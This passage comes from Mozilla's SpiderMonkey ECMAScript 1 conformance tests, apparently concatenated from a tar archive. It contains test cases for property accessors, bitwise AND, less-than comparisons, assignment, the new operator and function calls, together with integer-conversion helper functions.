ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( j = 0; j < 32; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function RShift( s, a ) { s = ToUint32BitString( s ); for ( z = 0; z < a; z++ ) { s = "0" + s; } s = s.substring( 0, s.length - a ); return ToUint32Decimal(s); } function UnsignedRightShift( s, a ) { s = ToUint32( s ); a = ToUint32( a ); a = Mask( a, 5 ); return ( RShift( s, a ) ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.1-1.js0000664000175000017500000003104312106270663021612 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.1-1.js ECMA Section: 11.2.1 Property Accessors Description: Properties are accessed by name, using either the dot notation: MemberExpression . Identifier CallExpression . Identifier or the bracket notation: MemberExpression [ Expression ] CallExpression [ Expression ] The dot notation is explained by the following syntactic conversion: MemberExpression . Identifier is identical in its behavior to MemberExpression [ ] and similarly CallExpression . Identifier is identical in its behavior to CallExpression [ ] where is a string literal containing the same sequence of characters as the Identifier. The production MemberExpression : MemberExpression [ Expression ] is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Expression. 4. Call GetValue(Result(3)). 5. Call ToObject(Result(2)). 6. Call ToString(Result(4)). 7. Return a value of type Reference whose base object is Result(5) and whose property name is Result(6). The production CallExpression : CallExpression [ Expression ] is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Property Accessors"; writeHeaderToLog( SECTION + " "+TITLE ); // go through all Native Function objects, methods, and properties and get their typeof. var PROPERTY = new Array(); var p = 0; // properties and functions of the global object PROPERTY[p++] = new Property( "this", "NaN", "number" ); PROPERTY[p++] = new Property( "this", "Infinity", "number" ); PROPERTY[p++] = new Property( "this", "eval", "function" ); PROPERTY[p++] = new Property( "this", "parseInt", "function" ); PROPERTY[p++] = new Property( "this", "parseFloat", "function" ); PROPERTY[p++] = new Property( "this", "escape", "function" ); PROPERTY[p++] = new Property( "this", "unescape", "function" ); PROPERTY[p++] = new Property( "this", "isNaN", "function" ); PROPERTY[p++] = new Property( "this", "isFinite", "function" ); PROPERTY[p++] = new Property( "this", "Object", "function" ); PROPERTY[p++] = new Property( "this", "Number", "function" ); PROPERTY[p++] = new Property( "this", "Function", "function" ); PROPERTY[p++] = new Property( "this", "Array", "function" ); PROPERTY[p++] = new Property( "this", "String", "function" ); PROPERTY[p++] = new Property( "this", "Boolean", "function" ); PROPERTY[p++] = new Property( "this", "Date", "function" ); PROPERTY[p++] = new Property( "this", "Math", "object" ); // properties and methods of Object objects PROPERTY[p++] = new Property( "Object", "prototype", "object" ); PROPERTY[p++] = new Property( "Object", "toString", "function" ); PROPERTY[p++] = new Property( "Object", "valueOf", "function" ); PROPERTY[p++] = new Property( "Object", "constructor", "function" ); // properties of the Function object PROPERTY[p++] = new Property( "Function", "prototype", "function" ); PROPERTY[p++] = new Property( "Function.prototype", "toString", "function" ); PROPERTY[p++] = new Property( "Function.prototype", "length", "number" ); PROPERTY[p++] = new Property( "Function.prototype", "valueOf", "function" ); Function.prototype.myProperty = "hi"; PROPERTY[p++] = new Property( "Function.prototype", "myProperty", "string" ); // properties of the Array object PROPERTY[p++] = new Property( "Array", "prototype", "object" ); PROPERTY[p++] = new Property( "Array", "length", "number" ); PROPERTY[p++] = new Property( "Array.prototype", "constructor", "function" ); PROPERTY[p++] = new Property( "Array.prototype", "toString", "function" ); PROPERTY[p++] = new Property( "Array.prototype", "join", "function" ); PROPERTY[p++] = new Property( "Array.prototype", "reverse", "function" ); PROPERTY[p++] = new Property( "Array.prototype", "sort", "function" ); // properties of the String object PROPERTY[p++] = new Property( "String", "prototype", "object" ); PROPERTY[p++] = new Property( "String", "fromCharCode", "function" ); PROPERTY[p++] = new Property( "String.prototype", "toString", "function" ); PROPERTY[p++] = new Property( "String.prototype", "constructor", "function" ); PROPERTY[p++] = new Property( "String.prototype", "valueOf", "function" ); PROPERTY[p++] = new Property( "String.prototype", "charAt", "function" ); PROPERTY[p++] = new Property( "String.prototype", "charCodeAt", "function" ); PROPERTY[p++] = new Property( "String.prototype", "indexOf", "function" ); PROPERTY[p++] = new Property( "String.prototype", "lastIndexOf", "function" ); PROPERTY[p++] = new Property( "String.prototype", "split", "function" ); PROPERTY[p++] = new Property( "String.prototype", "substring", "function" ); PROPERTY[p++] = new Property( "String.prototype", "toLowerCase", "function" ); PROPERTY[p++] = new Property( "String.prototype", "toUpperCase", "function" ); PROPERTY[p++] = new Property( "String.prototype", "length", "number" ); // properties of the Boolean object PROPERTY[p++] = new Property( "Boolean", "prototype", "object" ); PROPERTY[p++] = new Property( "Boolean", "constructor", "function" ); PROPERTY[p++] = new Property( "Boolean.prototype", "valueOf", "function" ); PROPERTY[p++] = new Property( "Boolean.prototype", "toString", "function" ); // properties of the Number object PROPERTY[p++] = new Property( "Number", "MAX_VALUE", "number" ); PROPERTY[p++] = new Property( "Number", "MIN_VALUE", "number" ); PROPERTY[p++] = new Property( "Number", "NaN", "number" ); PROPERTY[p++] = new Property( "Number", "NEGATIVE_INFINITY", "number" ); PROPERTY[p++] = new Property( "Number", "POSITIVE_INFINITY", "number" ); PROPERTY[p++] = new Property( "Number.prototype", "toString", "function" ); PROPERTY[p++] = new Property( "Number.prototype", "constructor", "function" ); PROPERTY[p++] = new Property( "Number.prototype", "valueOf", "function" ); // properties of the Math Object. PROPERTY[p++] = new Property( "Math", "E", "number" ); PROPERTY[p++] = new Property( "Math", "LN10", "number" ); PROPERTY[p++] = new Property( "Math", "LN2", "number" ); PROPERTY[p++] = new Property( "Math", "LOG2E", "number" ); PROPERTY[p++] = new Property( "Math", "LOG10E", "number" ); PROPERTY[p++] = new Property( "Math", "PI", "number" ); PROPERTY[p++] = new Property( "Math", "SQRT1_2", "number" ); PROPERTY[p++] = new Property( "Math", "SQRT2", "number" ); PROPERTY[p++] = new Property( "Math", "abs", "function" ); PROPERTY[p++] = new Property( "Math", "acos", "function" ); PROPERTY[p++] = new Property( "Math", "asin", "function" ); PROPERTY[p++] = new Property( "Math", "atan", "function" ); PROPERTY[p++] = new Property( "Math", "atan2", "function" ); PROPERTY[p++] = new Property( "Math", "ceil", "function" ); PROPERTY[p++] = new Property( "Math", "cos", "function" ); PROPERTY[p++] = new Property( "Math", "exp", "function" ); PROPERTY[p++] = new Property( "Math", "floor", "function" ); PROPERTY[p++] = new Property( "Math", "log", "function" ); PROPERTY[p++] = new Property( "Math", "max", "function" ); PROPERTY[p++] = new Property( "Math", "min", "function" ); PROPERTY[p++] = new Property( "Math", "pow", "function" ); PROPERTY[p++] = new Property( "Math", "random", "function" ); PROPERTY[p++] = new Property( "Math", "round", "function" ); PROPERTY[p++] = new Property( "Math", "sin", "function" ); PROPERTY[p++] = new Property( "Math", "sqrt", "function" ); PROPERTY[p++] = new Property( "Math", "tan", "function" ); // properties of the Date object PROPERTY[p++] = new Property( "Date", "parse", "function" ); PROPERTY[p++] = new Property( "Date", "prototype", "object" ); PROPERTY[p++] = new Property( "Date", "UTC", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "constructor", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "toString", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "valueOf", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getTime", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getYear", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getFullYear", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCFullYear", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getMonth", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCMonth", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getDate", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCDate", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getDay", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCDay", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getHours", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCHours", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getMinutes", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCMinutes", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getSeconds", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCSeconds", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "getMilliseconds","function" ); PROPERTY[p++] = new Property( "Date.prototype", "getUTCMilliseconds", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setTime", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setMilliseconds","function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCMilliseconds", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setSeconds", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCSeconds", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setMinutes", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCMinutes", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setHours", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCHours", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setDate", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCDate", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setMonth", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCMonth", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setFullYear", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setUTCFullYear", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "setYear", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "toLocaleString", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "toUTCString", "function" ); PROPERTY[p++] = new Property( "Date.prototype", "toGMTString", "function" ); for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) { RESULT = eval("typeof " + PROPERTY[i].object + "." + PROPERTY[i].name ); new TestCase( SECTION, "typeof " + PROPERTY[i].object + "." + PROPERTY[i].name, PROPERTY[i].type, RESULT ); RESULT = eval("typeof " + PROPERTY[i].object + "['" + PROPERTY[i].name +"']"); new TestCase( SECTION, "typeof " + PROPERTY[i].object + "['" + PROPERTY[i].name +"']", PROPERTY[i].type, RESULT ); } test(); function MyObject( arg0, arg1, arg2, arg3, arg4 ) { this.name = arg0; } function Property( object, name, type ) { this.object = object; this.name = name; this.type = type; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.1-5.js0000664000175000017500000000611512106270663021620 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.1-5.js ECMA Section: 11.2.1 Property Accessors Description: Properties are accessed by name, using either the dot notation: MemberExpression . Identifier CallExpression . Identifier or the bracket notation: MemberExpression [ Expression ] CallExpression [ Expression ] The dot notation is explained by the following syntactic conversion: MemberExpression . Identifier is identical in its behavior to MemberExpression [ ] and similarly CallExpression . Identifier is identical in its behavior to CallExpression [ ] where is a string literal containing the same sequence of characters as the Identifier. The production MemberExpression : MemberExpression [ Expression ] is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Expression. 4. Call GetValue(Result(3)). 5. Call ToObject(Result(2)). 6. Call ToString(Result(4)). 7. Return a value of type Reference whose base object is Result(5) and whose property name is Result(6). The production CallExpression : CallExpression [ Expression ] is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.1-5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Property Accessors"; writeHeaderToLog( SECTION + " "+TITLE ); // go through all Native Function objects, methods, and properties and get their typeof. var PROPERTY = new Array(); var p = 0; // try to access properties of primitive types PROPERTY[p++] = new Property( new String("hi"), "hi", "hi", NaN ); PROPERTY[p++] = new Property( new Number(NaN), NaN, "NaN", NaN ); PROPERTY[p++] = new Property( new Number(3), 3, "3", 3 ); PROPERTY[p++] = new Property( new Boolean(true), true, "true", 1 ); PROPERTY[p++] = new Property( new Boolean(false), false, "false", 0 ); for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) { new TestCase( SECTION, PROPERTY[i].object + ".valueOf()", PROPERTY[i].value, eval( "PROPERTY[i].object.valueOf()" ) ); new TestCase( SECTION, PROPERTY[i].object + ".toString()", PROPERTY[i].string, eval( "PROPERTY[i].object.toString()" ) ); } test(); function MyObject( value ) { this.value = value; this.stringValue = value +""; this.numberValue = Number(value); return this; } function Property( object, value, string, number ) { this.object = object; this.string = String(value); this.number = Number(value); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.10-1.js0000664000175000017500000001153612106270663021537 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.10-1.js ECMA Section: 11.10-1 Binary Bitwise Operators: & Description: Semantics The production A : A @ B, where @ is one of the bitwise operators in the productions &, ^, | , is evaluated as follows: 1. Evaluate A. 2. Call GetValue(Result(1)). 3. Evaluate B. 4. Call GetValue(Result(3)). 5. Call ToInt32(Result(2)). 6. Call ToInt32(Result(4)). 7. Apply the bitwise operator @ to Result(5) and Result(6). The result is a signed 32 bit integer. 8. Return Result(7). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.10-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Binary Bitwise Operators: &"); var shiftexp = 0; var addexp = 0; // for ( shiftpow = 0; shiftpow < 33; shiftpow++ ) { for ( shiftpow = 0; shiftpow < 1; shiftpow++ ) { shiftexp += Math.pow( 2, shiftpow ); for ( addpow = 0; addpow < 33; addpow++ ) { addexp += Math.pow(2, addpow); new TestCase( SECTION, shiftexp + " & " + addexp, And( shiftexp, addexp ), shiftexp & addexp ); } } test(); function ToInteger( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( n != n ) { return 0; } if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) { return n; } return ( sign * Math.floor(Math.abs(n)) ); } function ToInt32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32); n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n; return ( n ); } function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } function ToUint16( n ) { var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16); if (n <0) { n += Math.pow(2,16); } return ( n ); } function Mask( b, n ) { b = ToUint32BitString( b ); b = b.substring( b.length - n ); b = ToUint32Decimal( b ); return ( b ); } function ToUint32BitString( n ) { var b = ""; for ( p = 31; p >=0; p-- ) { if ( n >= Math.pow(2,p) ) { b += "1"; n -= Math.pow(2,p); } else { b += "0"; } } return b; } function ToInt32BitString( n ) { var b = ""; var sign = ( n < 0 ) ? -1 : 1; b += ( sign == 1 ) ? "0" : "1"; for ( p = 30; p >=0; p-- ) { if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) { b += ( sign == 1 ) ? "1" : "0"; n -= sign * Math.pow( 2, p ); } else { b += ( sign == 1 ) ? "0" : "1"; } } return b; } function ToInt32Decimal( bin ) { var r = 0; var sign; if ( Number(bin.charAt(0)) == 0 ) { sign = 1; r = 0; } else { sign = -1; r = -(Math.pow(2,31)); } for ( var j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function ToUint32Decimal( bin ) { var r = 0; for ( l = bin.length; l < 32; l++ ) { bin = "0" + bin; } for ( j = 0; j < 31; j++ ) { r += Math.pow( 2, j ) * Number(bin.charAt(31-j)); } return r; } function And( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( bs.charAt(bit) == "1" && ba.charAt(bit) == "1" ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } function Xor( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( (bs.charAt(bit) == "1" && ba.charAt(bit) == "0") || (bs.charAt(bit) == "0" && ba.charAt(bit) == "1") ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } function Or( s, a ) { s = ToInt32( s ); a = ToInt32( a ); var bs = ToInt32BitString( s ); var ba = ToInt32BitString( a ); var result = ""; for ( var bit = 0; bit < bs.length; bit++ ) { if ( bs.charAt(bit) == "1" || ba.charAt(bit) == "1" ) { result += "1"; } else { result += "0"; } } return ToInt32Decimal(result); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.1.js0000664000175000017500000000204412106270663021535 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.13.1.js ECMA Section: 11.13.1 Simple assignment Description: 11.13.1 Simple Assignment ( = ) The production AssignmentExpression : LeftHandSideExpression = AssignmentExpression is evaluated as follows: 1. Evaluate LeftHandSideExpression. 2. Evaluate AssignmentExpression. 3. Call GetValue(Result(2)). 4. Call PutValue(Result(1), Result(3)). 5. Return Result(3). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.13.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Simple Assignment ( = )"); new TestCase( SECTION, "SOMEVAR = true", true, SOMEVAR = true ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.8.1.js0000664000175000017500000001236012106270663021463 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.8.1.js ECMA Section: 11.8.1 The less-than operator ( < ) Description: Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.8.1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " The less-than operator ( < )"); new TestCase( SECTION, "true < false", false, true < false ); new TestCase( SECTION, "false < true", true, false < true ); new TestCase( SECTION, "false < false", false, false < false ); new TestCase( SECTION, "true < true", false, true < true ); new TestCase( SECTION, "new Boolean(true) < new Boolean(true)", false, new Boolean(true) < new Boolean(true) ); new TestCase( SECTION, "new Boolean(true) < new Boolean(false)", false, new Boolean(true) < new Boolean(false) ); new TestCase( SECTION, "new Boolean(false) < new Boolean(true)", true, new Boolean(false) < new Boolean(true) ); new TestCase( SECTION, "new Boolean(false) < new Boolean(false)", false, new Boolean(false) < new Boolean(false) ); new TestCase( SECTION, "new MyObject(Infinity) < new MyObject(Infinity)", false, new MyObject( Number.POSITIVE_INFINITY ) < new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) < new MyObject(Infinity)", true, new MyObject( Number.NEGATIVE_INFINITY ) < new MyObject( Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "new MyObject(-Infinity) < new MyObject(-Infinity)", false, new MyObject( Number.NEGATIVE_INFINITY ) < new MyObject( Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "new MyValueObject(false) < new MyValueObject(true)", true, new MyValueObject(false) < new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(true) < new MyValueObject(true)", false, new MyValueObject(true) < new MyValueObject(true) ); new TestCase( SECTION, "new MyValueObject(false) < new MyValueObject(false)", false, new MyValueObject(false) < new MyValueObject(false) ); new TestCase( SECTION, "new MyStringObject(false) < new MyStringObject(true)", true, new MyStringObject(false) < new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(true) < new MyStringObject(true)", false, new MyStringObject(true) < new MyStringObject(true) ); new TestCase( SECTION, "new MyStringObject(false) < new MyStringObject(false)", false, new MyStringObject(false) < new MyStringObject(false) ); new TestCase( SECTION, "Number.NaN < Number.NaN", false, Number.NaN < Number.NaN ); new TestCase( SECTION, "0 < Number.NaN", false, 0 < Number.NaN ); new TestCase( SECTION, "Number.NaN < 0", false, Number.NaN < 0 ); new TestCase( SECTION, "0 < -0", false, 0 < -0 ); new TestCase( SECTION, "-0 < 0", false, -0 < 0 ); new TestCase( SECTION, "Infinity < 0", false, Number.POSITIVE_INFINITY < 0 ); new TestCase( SECTION, "Infinity < Number.MAX_VALUE", false, Number.POSITIVE_INFINITY < Number.MAX_VALUE ); new TestCase( SECTION, "Infinity < Infinity", false, Number.POSITIVE_INFINITY < Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 < Infinity", true, 0 < Number.POSITIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE < Infinity", true, Number.MAX_VALUE < Number.POSITIVE_INFINITY ); new TestCase( SECTION, "0 < -Infinity", false, 0 < Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "Number.MAX_VALUE < -Infinity", false, Number.MAX_VALUE < Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity < -Infinity", false, Number.NEGATIVE_INFINITY < Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "-Infinity < 0", true, Number.NEGATIVE_INFINITY < 0 ); new TestCase( SECTION, "-Infinity < -Number.MAX_VALUE", true, Number.NEGATIVE_INFINITY < -Number.MAX_VALUE ); new TestCase( SECTION, "-Infinity < Number.MIN_VALUE", true, Number.NEGATIVE_INFINITY < Number.MIN_VALUE ); new TestCase( SECTION, "'string' < 'string'", false, 'string' < 'string' ); new TestCase( SECTION, "'astring' < 'string'", true, 'astring' < 'string' ); new TestCase( SECTION, "'strings' < 'stringy'", true, 'strings' < 'stringy' ); new TestCase( SECTION, "'strings' < 'stringier'", false, 'strings' < 'stringier' ); new TestCase( SECTION, "'string' < 'astring'", false, 'string' < 'astring' ); new TestCase( SECTION, "'string' < 'strings'", true, 'string' < 'strings' ); test(); function MyObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); this.toString = new Function( "return this.value +''" ); } function MyValueObject(value) { this.value = value; this.valueOf = new Function( "return this.value" ); } function MyStringObject(value) { this.value = value; this.toString = new Function( "return this.value +''" ); } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-8-n.js0000664000175000017500000000431512106270663022057 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-8-n.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Arguments, producing an internal list of argument values (section 0). 4. If Type(Result(2)) is not Object, generate a runtime error. 5. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 6. Call the [[Construct]] method on Result(2), providing the list Result(3) as the argument values. 7. If Type(Result(6)) is not Object, generate a runtime error. 8 .Return Result(6). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.2-8-n.js"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The new operator"; writeHeaderToLog( SECTION + " "+ TITLE); var NUMBER = new Number(1); DESCRIPTION = "var NUMBER = new Number(1); var n = new NUMBER()"; EXPECTED = "error"; new TestCase( SECTION, "var NUMBER = new Number(1); var n = new NUMBER()", "error", eval("n = new NUMBER()") ); test(); function TestFunction() { return arguments; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.3-5.js0000664000175000017500000000351212106270663021620 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.3-5-n.js ECMA Section: 11.2.3. Function Calls Description: The production CallExpression : MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Evaluate Arguments, producing an internal list of argument values (section 0). 3. Call GetValue(Result(1)). 4. If Type(Result(3)) is not Object, generate a runtime error. 5. If Result(3) does not implement the internal [[Call]] method, generate a runtime error. 6. If Type(Result(1)) is Reference, Result(6) is GetBase(Result(1)). Otherwise, Result(6) is null. 7. If Result(6) is an activation object, Result(7) is null. Otherwise, Result(7) is the same as Result(6). 8. Call the [[Call]] method on Result(3), providing Result(7) as the this value and providing the list Result(2) as the argument values. 9. Return Result(8). The production CallExpression : CallExpression Arguments is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Note: Result(8) will never be of type Reference if Result(3) is a native ECMAScript object. Whether calling a host object can return a value of type Reference is implementation-dependent. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.3-5"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Function Calls"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "true.valueOf()", true, true.valueOf() ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.2-1-n.js0000664000175000017500000000427412106270663022054 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.2-1.js ECMA Section: 11.2.2. The new operator Description: MemberExpression: PrimaryExpression MemberExpression[Expression] MemberExpression.Identifier new MemberExpression Arguments new NewExpression The production NewExpression : new NewExpression is evaluated as follows: 1. Evaluate NewExpression. 2. Call GetValue(Result(1)). 3. If Type(Result(2)) is not Object, generate a runtime error. 4. If Result(2) does not implement the internal [[Construct]] method, generate a runtime error. 5. Call the [[Construct]] method on Result(2), providing no arguments (that is, an empty list of arguments). 6. If Type(Result(5)) is not Object, generate a runtime error. 7. Return Result(5). The production MemberExpression : new MemberExpression Arguments is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate 